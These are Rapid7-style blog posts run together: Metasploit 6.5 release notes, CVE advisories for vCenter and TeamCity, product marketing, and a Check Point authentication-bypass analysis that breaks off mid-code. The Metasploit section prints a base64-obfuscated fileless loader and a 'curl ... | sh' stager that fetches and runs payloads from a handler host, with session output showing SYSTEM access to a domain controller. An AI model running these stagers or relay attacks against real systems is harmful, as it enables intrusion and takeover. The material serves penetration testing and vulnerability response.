One of the latest and most requested features is support for Malleable C2 profiles across all current Meterpreter payloads. This feature enables users to load a standard profile into Meterpreter and change the shape of its HTTP(S) traffic. All Meterpreters, including Windows, Java, Python, PHP and Linux, have been updated with this functionality. Due to the size restrictions on staged payloads, staged payloads will only use the Malleable C2 configuration once the stage has been loaded. Since stageless payloads skip the download phase, they immediately use the Malleable C2 configuration.

When a compatible payload has been selected, the user only needs to set the MALLEABLEC2 option to the profile on disk. The syntax for profiles is the same as in other tools which ensures that Metasploit is capable of loading publicly available profiles. While not all of the directives are currently in use, additional improvements will be made in the future.

In the following example, an HTTP Meterpreter is deployed with a profile to emulate browsing Amazon.

msf exploit(windows/smb/psexec) > set PAYLOAD windows/x64/meterpreter_reverse_http
PAYLOAD => windows/x64/meterpreter_reverse_http
msf exploit(windows/smb/psexec) > set MALLEABLEC2 amazon.profile
MALLEABLEC2 => amazon.profile
msf exploit(windows/smb/psexec) > run
[*] Started HTTP reverse handler on http://192.168.159.128:8081/
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
[!] 192.168.159.10:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 192.168.159.10:445 - Uploading payload... BqjvmNxF.exe
[*] 192.168.159.10:445 - Created \BqjvmNxF.exe...
[+] 192.168.159.10:445 - Service started successfully...
[*] 192.168.159.10:445 - Deleting \BqjvmNxF.exe...
[*] http://192.168.159.128:8081/ handling request from 192.168.159.10; (UUID: lh15pukd) Redirecting stageless: URI '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books' with UA 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -> UUID NjFswaV1VEGJ1ojU44aMCAHc2CTIr56KDkzFLcyRHZ8Go9fwFFaBp8QSiN6WYHoH5j-Oz81kEMXA9tYzxcpvs5e
[*] http://192.168.159.128:8081/ handling request from 192.168.159.10; (UUID: lh15pukd) Attaching orphaned/stageless session...
[*] Meterpreter session 3 opened (192.168.159.128:8081 -> 192.168.159.10:49853) at 2026-07-09 16:34:39 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 9
Meterpreter     : x64/windows
meterpreter >

For more information, usage instructions, and what profile verbs are supported, see the Malleable C2 documentation.

Metasploit Framework 6.5 Release - MCP Server

Metasploit 6.5 introduces the Metasploit MCP Server (msfmcpd), a new middleware layer designed to facilitate secure, structured interactions between AI applications and the Metasploit Framework. By leveraging the Model Context Protocol, the server exposes 16 standardized tools—ranging from complex reconnaissance queries to active session management—allowing users to integrate Metasploit’s powerful capabilities directly into AI-driven environments like Claude or Cursor.

Toolset Categorization

The toolset is partitioned into two distinct categories to prioritize operator oversight:

• Read-Only Tools: These 12 tools are available by default and provide deep access to the Framework's intelligence. This includes modules for searching available exploits, querying discovered host/service data, retrieving stored credentials, and monitoring active jobs or sessions. These tools allow an LLM to provide situationally aware advice without modifying the state of the target environment. Perfect for use in sensitive environments where full AI autonomy is barred.
• Dangerous Tools: To ensure safety, these 4 high-impact tools are disabled by default. This class includes methods for executing modules, using module checks, stopping sessions, and writing data to interactive sessions (like Meterpreter). To leverage these for automated exploitation, operators must explicitly enable them via CLI flag (--enable-dangerous-actions), environment variable, or configuration key.

Example LLM Workflow

With the MCP server configured, an LLM agent can automate parts of the penetration testing and vulnerability validation lifecycle. A typical workflow might look like this:

1. Reconnaissance: The LLM uses msf_host_info and msf_service_info to identify potential targets and msf_search_modules to find relevant exploits matching the target’s service versions.
2. Validation: Upon selecting a module, the agent calls msf_module_check (if enabled) to assess the target's susceptibility without triggering a full exploit attempt.
3. Exploitation: If the check confirms vulnerability, the agent proceeds with msf_module_execute, passing the necessary datastore options.
4. Interaction: Once a session is established, the agent uses msf_session_list to verify the connection and msf_session_read to parse session output, allowing it to interpret the environment and potentially msf_session_write commands to further the engagement.

This structure allows security professionals to offload repetitive telemetry gathering to AI agents while retaining a strict, policy-driven "human-in-the-loop" gate for all offensive actions.

Starting the MCP Server

You can start the server using the msfmcpd binary or directly within msfconsole:

msf > load mcp
msf > mcp --help

Usage

msf > mcp <subcommand> [options]

Subcommands:

• status: Display MCP server status
• start: Start the MCP server
• stop: Stop the MCP server
• restart: Restart the MCP server
• help: Show this help message

Common Options:

• ServerHost=<host>: Bind address (default: localhost)
• ServerPort=<port>: MCP port (default: 3000)
• DangerousActions=<true|false>: Enable destructive tools (default: false)
• RpcHost,RpcPort,RpcUser,RpcPass,RpcSSL: RPC configuration settings.
• RateLimit=<n>: Requests per minute (default: 60)

Examples:

msf > mcp start
msf > mcp start ServerPort=8080
msf > mcp start RpcUser=msf RpcPass=secret

Relaying Improvements

Over the past few years, Metasploit has been making incremental improvements to its NTLM relaying capabilities. While NTLM is considered a legacy authentication protocol, it remains commonly deployed in enterprise environments. This release continues that trend by adding the second NTLM relay server to the framework; HTTP(S). Users can now start a malicious HTTP server that will prompt for authentication and relay it to one or more user-specified targets.

Users can leverage this capability with the new auxiliary/server/relay/http_to_smb and auxiliary/server/relay/http_to_ldap modules. These will open SMB and LDAP sessions respectively and allow the user to interact with the target server in the context of the user whose credentials were relayed. Interactive protocol sessions have been around for a couple of years now and offer users a more fault-tolerant way to interact with targets when compared to the old “only psexec” option. SMB sessions have also been updated with sessions -u support, enabling users to upgrade an interactive SMB session to a Meterpreter session using psexec when desired.

NTLMRelay2Self

The new capability to relay from an HTTP server to another target opens the possibility for unique attack workflows. One such technique is known as NTLMRelay2Self. This multi-step workflow involves coercing a target to authenticating to itself over HTTP which creates a relaying opportunity. After exploiting that relay opportunity, an attacker can establish an LDAP session to a domain controller, authenticated as the machine account. From this position they can leverage RBCD or Shadow Credentials to elevate their permissions on the target workstation (not the domain controller).

While all of these steps can be performed manually, Metasploit added a new exploits/windows/local/ntlm_relay_2_self module to automate this entire process, performing the relay step as well as the others in a single action. This particular attack technique does not have a patch but does require a local user on a domain joined workstation in order to exploit; effectively making it an evergreen LPE.

Fetch Payload Improvements

Fetch payloads were created to support users in writing exploits targeting the wave of new command injection vulnerabilities we saw coming in several years ago. They allow a user to generate a small command-based stager that runs on a target host and calls back to download a full binary payload to run it, giving users the ability to launch a fully-featured binary (EXE, ELF, or DLL) payload using only a single command injection. Three new features we added to extend the utility for Fetch Payloads to our users include Fileless Fetch Payloads, Pipe Fetch Payloads, and support for a new multi pseudoarchitecture payload. Fileless Fetch payloads are wonderfully named; previously, when the Fetch command stager ran, the binary payload was saved to a location on disk and launched. Fileless Fetch Payloads leverage a feature within the Linux Kernel after 3.17 that allows us to write a file directly to memory using the memfd_create syscall and execute it, so no files ever touch the target disk. There are three supported ways to use Fetch Fileless: Python3.8+, shell, and shell-search. Each uses a different technique to create a file in memory and launch it.

Fetch Pipe was created in response to several exploits that we discovered had very small command size requirements, and we found ourselves trying to shrink the command to fetch the binary payload. Fetch Pipe Payloads simply add an extra Fetch command stager so that the user only needs to run a very small command on the remote host that requests a larger command, which, in turn, requests the binary payload. It allowed us to drop the size of the payloads dramatically, and opened the door to create more complex and feature-rich Fetch command stagers since we could use the tiny “pre-stager” rather than a stager with added length, complexity, and encoding requirements.

For example, here we generate the command for a fileless fetch payload:

msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
[*] Command to execute on target: echo -n 'd3JpdGVieXRlcyAoKSB7IHByaW50ZiBcXCUwM28gIiRAIiA7IH07dmRzb19hZGRyPSQoKDB4JChncmVwIC1GICJbdmRzb10iIC9wcm9jLyQkL21hcHMgfCBjdXQgLWQnLScgLWYxKSkpO2ptcD0iNDhiOCIkKGVjaG8gJChwcmludGYgJTAxNnggJHZkc29fYWRkcikgfCByZXYgfCBzZWQgLUUgJ3MvKC4pKC4pL1wyXDEvZycpImZmZTAiO3NjPSc0ODMxZjY1NjU0NWY0OGM3YzBjMWZlZmZmZjQ4ZjdkODBmMDU0ODg5YzdiMDRkMGYwNTZhMjI1ODBmMDUnO3JlYWQgc3lzY2FsbF9pbmZvIDwgL3Byb2Mvc2VsZi9zeXNjYWxsO2FkZHI9JCgoJChlY2hvICRzeXNjYWxsX2luZm8gfCBjdXQgLWQnICcgLWY5KSkpO2V4ZWMgMz4vcHJvYy9zZWxmL21lbTtkZCBicz0xIHNraXA9JHZkc29fYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJHNjIHwgc2VkICdzLy5cezJcfS8weCYgL2cnYCkiID4mMztleGVjIDM+Ji07ZXhlYyAzPi9wcm9jL3NlbGYvbWVtO2RkIGJzPTEgc2tpcD0kYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJGptcCB8IHNlZCAncy8uXHsyXH0vMHgmIC9nJ2ApIiA+JjM7' | base64 -d | ${SHELL} & cd /proc/$!;og_process=$!;sleep 2;FOUND=0;if [ $FOUND -eq 0 ];then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];then if $(curl -so $f http://10.5.135.210:8080/20s16UxqPChr1I-hZk-vRg >/dev/null);then $f & FOUND=1;break;fi;fi;done;fi;sleep 2;kill -9 $og_process;
echo -n 'd3JpdGVieXRlcyAoKSB7IHByaW50ZiBcXCUwM28gIiRAIiA7IH07dmRzb19hZGRyPSQoKDB4JChncmVwIC1GICJbdmRzb10iIC9wcm9jLyQkL21hcHMgfCBjdXQgLWQnLScgLWYxKSkpO2ptcD0iNDhiOCIkKGVjaG8gJChwcmludGYgJTAxNnggJHZkc29fYWRkcikgfCByZXYgfCBzZWQgLUUgJ3MvKC4pKC4pL1wyXDEvZycpImZmZTAiO3NjPSc0ODMxZjY1NjU0NWY0OGM3YzBjMWZlZmZmZjQ4ZjdkODBmMDU0ODg5YzdiMDRkMGYwNTZhMjI1ODBmMDUnO3JlYWQgc3lzY2FsbF9pbmZvIDwgL3Byb2Mvc2VsZi9zeXNjYWxsO2FkZHI9JCgoJChlY2hvICRzeXNjYWxsX2luZm8gfCBjdXQgLWQnICcgLWY5KSkpO2V4ZWMgMz4vcHJvYy9zZWxmL21lbTtkZCBicz0xIHNraXA9JHZkc29fYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJHNjIHwgc2VkICdzLy5cezJcfS8weCYgL2cnYCkiID4mMztleGVjIDM+Ji07ZXhlYyAzPi9wcm9jL3NlbGYvbWVtO2RkIGJzPTEgc2tpcD0kYWRkciA8JjMgPi9kZXYvbnVsbCAyPiYxO3ByaW50ZiAiJCh3cml0ZWJ5dGVzIGBwcmludGYgJGptcCB8IHNlZCAncy8uXHsyXH0vMHgmIC9nJ2ApIiA+JjM7' | base64 -d | ${SHELL} & cd /proc/$!;og_process=$!;sleep 2;FOUND=0;if [ $FOUND -eq 0 ];then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];then if $(curl -so $f http://10.5.135.210:8080/20s16UxqPChr1I-hZk-vRg >/dev/null);then $f & FOUND=1;break;fi;fi;done;fi;sleep 2;kill -9 $og_process;

Here is that same command with fetch_pipe enabled:

msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set fetch_pipe true 
fetch_pipe => true
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set fetch_uripath x
fetch_uripath => x
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
curl -s http://10.5.135.210:8080/x|sh

By enabling the fetch pipe option, our payload to run on the target went from 2,374 characters to 38.

The final new feature added to Fetch Payloads in 6.5 is support for a new multi pseudoarchitecture. The new multi pseudoarchitecture allows users to generate a Fetch payload command stager that will run and report back the architecture of the target host while it requests the binary payload, allowing the Fetch Handler to serve a payload that matches the target architecture. This is incredibly useful during the exploitation of modern Linux hardware, as a Linux host could be running on one of many architectures from x86_64 to ARM. The new multi pseudoarch allows a user to send a payload in an exploit to a Linux host and have it “just work” regardless of the underlying architecture, thus eliminating the users need to know (or correctly guess).

Here is an example of generating a Fetch Multi payload and handler, then running the Fetch command stager on several different Linux targets, each running a different architecture:

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options

Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
                                               WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous
                                              handles, requires Linux ≥3.17 (for Python variant also Python ≥3
                                              .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
                                              , shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.210     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,GET,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped dire
                                          ctly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      cldOGvRDplZ      no        Name to use on remote system when storing payload; cannot co
                                                  ntain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces


View the full module info with the info, or info -d command.

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0

[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444 
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -> 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -> 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500

msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >

As you can see, the same short command (curl -s http://10.5.135.210:8080/x|sh) with the same handler serves the corresponding binary payload to ARMLE, AARCH64, and MIPS64-based Linux hosts.

Block API Hashes Are Randomized

The block API is a critical piece of shellcode that is the foundation of all of Metasploit's 32-bit and 64-bit payloads. It enables the shellcode author to invoke win32 API methods using a 32-bit hash of the method and module name. It’s been over 5 years since Metasploit started randomizing this piece of shellcode so its 140+ static bytes were no longer trivial signature fodder. What remained however were static the 32-bit API hashes, whose usage was periodically the subject of various reports. This year, Metasploit updated the block API itself to allow the 32-bit hashes to also be randomized. Now each time the block API is generated, not only are the instructions shuffled but the hashes used to invoke win32 API methods are randomized.

ATT&CK Metadata

When you have about 4500 exploit auxiliary and post modules, discoverability can be a real problem. One thing Metasploit often deals with is ensuring that users have optimal means to find what they are looking for. Historically this has manifested itself as search improvements and even an fzf plugin. One thing users often need to do however is emulate real world threat actors. A substantial amount of threat intelligence provides these techniques while documenting the attack chains. Metasploit has begun tagging our own modules with ATT&CK tags to enable users to easily find modules that leverage a particular technique. To search for a module, use the att&ck search modifier. For example to find all modules that leverage T1059.001 (Command and Scripting Interpreter: PowerShell) use att&ck:T1059.001. The hierarchy is also honored, so to search more broadly for T1059 (Command and Scripting Interpreter) use att&ck:T1059 and additional modules such as exploit/windows/mysql/mysql_mof will be included in the search results.

Conclusion

Metasploit 6.5 represents an evolution in the framework, delivering a wide array of new capabilities designed to improve both usability and the realism of modern security testing. From the highly requested integration of Malleable C2 profiles and our new Metasploit MCP Server to advanced NTLM relaying, enhanced fetch payload utilities, and the introduction of MITRE ATT&CK tagging, this release is built to support increasingly complex and automated workflows. We look forward to seeing how these tools help our community continue to push the boundaries of vulnerability validation and threat emulation. Thank you to all the contributors who helped make this release possible.

Overview

On July 29, 2026, Broadcom published security advisory VMSA-2026-0006 addressing multiple vulnerabilities in several VMWare products. Included in the advisory are two critical remotely exploitable vulnerabilities affecting VMware vCenter Server: CVE-2026-59309 and CVE-2026-59310. Both vulnerabilities carry CVSSv3.1 base scores of 9.8 and can be exploited by unauthenticated attackers with network access to a vulnerable vCenter Server.

VMware vCenter Server provides centralized management for VMware vSphere environments, allowing administrators to manage ESXi hosts, virtual machines, resource allocation, availability, and other virtualization infrastructure from a central control plane. Compromise of vCenter can therefore provide an attacker with significant control over the virtualized environment and its associated workloads.

Both vulnerabilities are particularly significant because exploitation does not require prior authentication. However, an attacker must have network access to the affected vCenter services. Management interfaces such as vCenter are commonly restricted to internal or dedicated management networks, which can reduce exposure to internet-based attacks but does not mitigate the risk from an attacker who has already established access to an organization’s network.

At the time of publication, there is no known evidence of exploitation or scanning in the wild for either CVE-2026-59309 or CVE-2026-59310. There is also currently no known public proof-of-concept exploit code. However, vCenter Server has appeared on CISA’s KEV list ten times in the past for other vulnerabilities, so it is known that attackers target critical issues in this product. Customers running affected VMWare products are urged to patch on an urgent basis before exploitation in-the-wild occurs.

Mitigation guidance

Organizations running VMware vCenter Server should prioritize applying the updates identified by Broadcom in VMSA-2026-0006 on an urgent basis. Broadcom states that there are no workarounds for CVE-2026-59309 or CVE-2026-59310, making vendor-provided updates the primary remediation.

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-59309 and CVE-2026-59310 on VMware vCenter Server, Cloud Foundation, and vSphere Foundation products with unauthenticated vulnerability checks expected to be available in the July 30 content release.

Updates

• July 30, 2026: Initial publication.

• July 30, 2026: Updated customers section to reflect availability of vulnerability checks.
• August 4, 2026: Updated CVE links.

Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unauthenticated vulnerability affecting all versions of TeamCity On-Premises. The issue is classified as deserialization of untrusted data and has a CVSS score of 9.8. An unauthenticated remote attacker with HTTP(S) access to a TeamCity server can exploit the agent polling protocol to bypass authentication checks and execute arbitrary operating system commands with the privileges of the TeamCity server process.

In the blog post that JetBrains shared in tandem with CVE publication, they stated that attackers who exploit the vulnerability can read stored credentials and compromise CI/CD pipeline integrity. The impact of successful exploitation depends on the operating system privileges granted to the TeamCity server process. At the time of disclosure, JetBrains stated that they were not aware of active exploitation. On August 5, CISA added CVE-2026-63077 to its KEV catalog.

Technical analysis

On August 7, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-63077. Our analysis details the vulnerability and how an unauthenticated attacker can exploit the vulnerability to achieve remote code execution on a vulnerable TeamCity server.

Mitigation guidance

Organizations running TeamCity On-Premises should urgently prioritize updating to a fixed version, either via the TeamCity UI update workflow or by downloading and installing one of the following fixed versions:

• TeamCity 2025.11.7

• TeamCity 2026.1.3

All versions of TeamCity On-Premises are affected. Organizations that cannot upgrade can apply JetBrains' security patch plugin to TeamCity 2017.1 and later. The plugin addresses only CVE-2026-63077; JetBrains recommends upgrading to a fixed version to receive other security updates. TeamCity Cloud customers do not need to take action.

In addition to patching, as a defense-in-depth measure, Rapid7 recommends restricting network access to TeamCity servers to only users and systems that must have it. For the latest mitigation guidance, please refer to the JetBrains security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-63077 with a vulnerability check available in the July 28 content release.

Updates

• July 29, 2026: Initial publication.

• August 5, 2026: Updated to reflect the addition of CVE-2026-63077 to CISA KEV.

• August 7, 2026: Added link to the Rapid7 Analysis.

The scenario is all too familiar for any cybersecurity professional: It’s late in the day, and a critical zero-day vulnerability is disclosed. When this happens, CISOs from every industry immediately turn to their Security Operations Centers (SOC) with the single most important, and often most difficult, question: "Are we exposed?”

Answering questions like these when zero-days drop tends to trigger a frantic, high-stress fire drill. Analysts scramble to cross-reference outdated Configuration Management Databases (CMDBs), query disparate endpoint detection tools, and ping IT administrators. The data is siloed, context is missing, and time rapidly slips away. 

Today, the window between a vulnerability’s disclosure and its active exploitation in the wild has essentially collapsed, making predictive lead time a thing of the past. As adversaries integrate AI into their playbooks to automate attacks, defending against them requires us to operate at machine speed.

We believe preemptive security is the most effective way to close this window. You cannot wait for every alert to fire to understand your environment. You need an architecture that constantly tracks emerging risks and threats, coupled with AI-accelerated discovery that brings your attack surface into sharp focus before the adversary does. Rapid7 is previewing a series of new features at Black Hat USA 2026 designed to transform the way security teams navigate the chaos of a zero-day threat to identify and close attack paths before they are exploited.  

The foundation: Continuous Software Visibility

You cannot secure what you cannot see, and in highly distributed, AI-enabled environments, absolute visibility has traditionally been a gap. To achieve true preemptive security, you need a complete, continuous view of emerging risks. When a zero-day drops, your platform should already be tracking it via an Emerging Threat Response (ETR) process. But knowing the threat exists is only step one; you must correlate that threat with your specific environment. This is where Rapid7 Software Visibility (in-preview) becomes important.

⠀

Instead of initiating massive, disruptive network scans, security teams can drill directly into the ETR to view key details of the vulnerability, pinpointing relevant assets and software versions in real-time. For example, if a new zero-day dictates that versions of Safari earlier than 18 are vulnerable, Software Visibility allows you to instantly map that criteria against your entire technology stack. That expansive view into your attack surface allows you to uncover whether this newly discovered exposure exists within your environment, shifting your posture from reactive investigation to proactive defense.

Calculating the blast radius: Decoding toxic combinations

Once you know that you have vulnerable instances of Safari running in your environment, the CISO’s initial question evolves. It is no longer just "Are we exposed?" but rather, "How exposed are we?"

Answering this requires breaking down the traditional silos of security data. A vulnerable service running on an isolated sandbox is a minor blip. That same vulnerable service hosted on a production machine where a highly privileged service account recently left a cached credential in memory is a direct path to domain compromise.

To accurately gauge risk, you need a unified view of your attack surface that pulls together both internal and external telemetry, and lets teams find the information easily. Rapid7’s Exposure Command accelerates this level of exposure discovery with natural language queries (in preview), so that instead of writing complex syntax, plain-English questions will uncover shadow AI models, pinpoint insecure assets, or identify overprivileged users. A SOC analyst can simply ask the platform in plain English: "Show me all assets running Safari earlier than version 18."

⠀

The platform reveals the total footprint, but more importantly, it also uncovers toxic combinations. It highlights not just the vulnerable assets and software, but can also highlight the specific users associated with those systems. By illuminating these connections, security teams can prioritize their response based on actual business risk rather than generic CVSS scores.

Bridging the SecOps / ITOps divide: Actionable remediation

Identifying the risk is a security function, but fixing it almost always falls to IT Operations. The friction between these two departments usually goes something like this: the SOC demands immediate patching to stop a breach; ITOps demands testing to ensure the patch does not break critical business services.

To achieve preemptive security, we help streamline this important handoff between teams. For instance, when a critical zero-day hits, a patch is often unavailable for days. In the interim, Rapid7 Exposure Command can provide mitigation guidance to help organizations minimize their risk using existing security controls, even when a formal patch does not exist.

Once a patch is released or a formal CVE number is assigned, the challenge shifts to rapid, safe deployment. To accelerate this, Rapid7 leverages AI-Generated Remediation Summaries (available now). Rather than tossing a massive spreadsheet of vulnerable IP addresses over to IT, these AI summaries provide highly tailored, environment-specific guidance.

⠀

The AI contextualizes the vulnerability findings based on your existing security controls, established asset ownership, and the unique makeup of your attack surface. It translates raw vulnerability data into clear, actionable narratives, empowering ITOps to quickly understand not just what needs to be patched, but how to securely and efficiently deploy those patches with minimal disruption to the business.

Communicating up: Translating data into cross-functional narratives

While the SOC and IT are working to remediate the threat, the business demands constant updates. The CISO, the executive team, and the board of directors need to know the organization's real-time risk posture.

Historically, translating deeply technical security metrics into executive-ready reports meant a security analyst would spend hours manually interpreting data, formatting charts, and building slide decks. These are valuable hours that should have been spent actively hunting threats.

To address this, Rapid7 is introducing AI Dashboard Summaries (in preview). This capability automatically transforms dense, data-heavy dashboards into plain-text, actionable narratives. The platform generates a powerful, easy-to-digest summary of the active risk posture, allowing security leaders to give leadership and cross-functional partners exactly what they need: clear, confident answers, delivered immediately.

We also recognize that security telemetry doesn't exist in a vacuum. Organizations need complete control over their data. If you want to integrate this vulnerability intelligence with broader enterprise risk models, you can seamlessly export this data to your AI analytics engine of choice via a Model Context Protocol (MCP) server. This flexibility ensures you can add context or perform secondary risk analysis exactly as your business requires.

The preemptive future

The scenario described above is just a snapshot of how AI-enabled capabilities are fundamentally changing the defensive landscape. By leveraging continuous software visibility, AI-accelerated discovery, and automated remediation guidance, we can stay ahead of the ever-narrowing window between vulnerability disclosures and active exploits.

Preemptive security is about building an environment so visible, so well-understood, and so seamlessly integrated that when the inevitable zero-day drops, panic is replaced by precision. Whether it is navigating complex toxic combinations, securing ephemeral cloud workloads, or implementing robust mitigations when no patch is available, these Rapid7 AI-enabled capabilities lay the groundwork for teams to outpace the adversary.

Visit us at BlackHat to see these capabilities in action!

Overview

On July 22, 2026, Check Point published a security advisory for CVE-2026-16232, an authentication bypass in the SmartConsole login process affecting Security Management Server and Multi-Domain Security Management Server (MDS). By leveraging CVE-2026-16232, an unauthenticated attacker can obtain an application login token, use this token to log in through SmartConsole with full administrator privileges, and modify the security policy or security configuration. Exploitation requires network access to the Management Server and for a Trusted Clients configuration that does not restrict GUI clients, which in our testing was a default setting. This vulnerability was reported as being exploited in the wild as a zero-day vulnerability at the time of disclosure.

Our analysis finds that the root cause of CVE-2026-16232 is a broken trust boundary in the application authentication path. A vulnerable server accepts an attacker-supplied Secure Internal Communication (SIC) distinguished name (DN) as the identity of a remote application instead of binding that identity to the authenticated remote peer certificate DN returned by getCertificateDnName(). An attacker can read the management server's own SIC DN during the unauthenticated bootstrap communication, replay that DN in a forged application certificate bind, obtain an application token, and then ask the legacy management service to mint a new SmartConsole single sign-on (SSO) ticket.

Rapid7 Labs has reproduced CVE-2026-16232 against affected R81.20 and R82.10 versions of the target software. Our proof-of-concept (PoC) exploit script can be used to successfully validate if a target is either vulnerable or patched. The vendor supplied patches have been confirmed to successfully remediate the vulnerability and prevent our PoC script from succeeding.

Analysis

SmartConsole is the desktop client administrators use to manage Check Point policy and configuration. A SmartConsole login crosses two generations of management plumbing over the network.

The first is the legacy FWM/CPMI service, listening on TCP 18190. It uses SIC, Check Point's certificate-based trust mechanism for communication between management components. Once the SIC bootstrap completes, FWM exchanges length-prefixed “FwSet” objects, a Check Point name/value encoding used by older management services.

The second is the newer CPM/DLE service. This exposes SOAP services over HTTPS on TCP 19009 under the URI path /cpmws/. SmartConsole uses these services for login, queries, and object operations. Authenticated requests carry DLESESSIONID and CLIENTSESSIONID header values to prove a client is authenticated.

The exploit for CVE-2026-16232 uses both the FWM/CPMI and CPM/DLE services. It first uses the native FWM/CPMI protocol to claim an application identity and obtain an application token via the root cause of the vulnerability. It then uses the accepted native application session to ask FWM for a SmartConsole SSO ticket, redeems the ticket over CPM's SOAP API, and receives a SmartConsole session.

The diagram below shows the flow for exploiting CVE-2026-16232.

Figure 1: Flow diagram of exploitation.

The application authentication boundary

The Java login service contains a bridge for FWM application based logins. The authenticateUser method splits the supplied username into an application name and a SIC DN, then passes both into cpApplicationAuthentication(). 

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private AuthenticationResponse authenticateUser(AuthenticationInfoBase authenticationInfoBase, String string, String string2, CPUUID cPUUID, boolean bl, LockAdminInfoContainer lockAdminInfoContainer, ExternalLoginInfo externalLoginInfo) throws AuthenticationFailureLoginException, LicenseExpiredLoginException {

// ...

} else if (authenticationInfoBase instanceof FwmAuthenticationInfo) {
    object2 = authenticationInfoBase.getUsername();
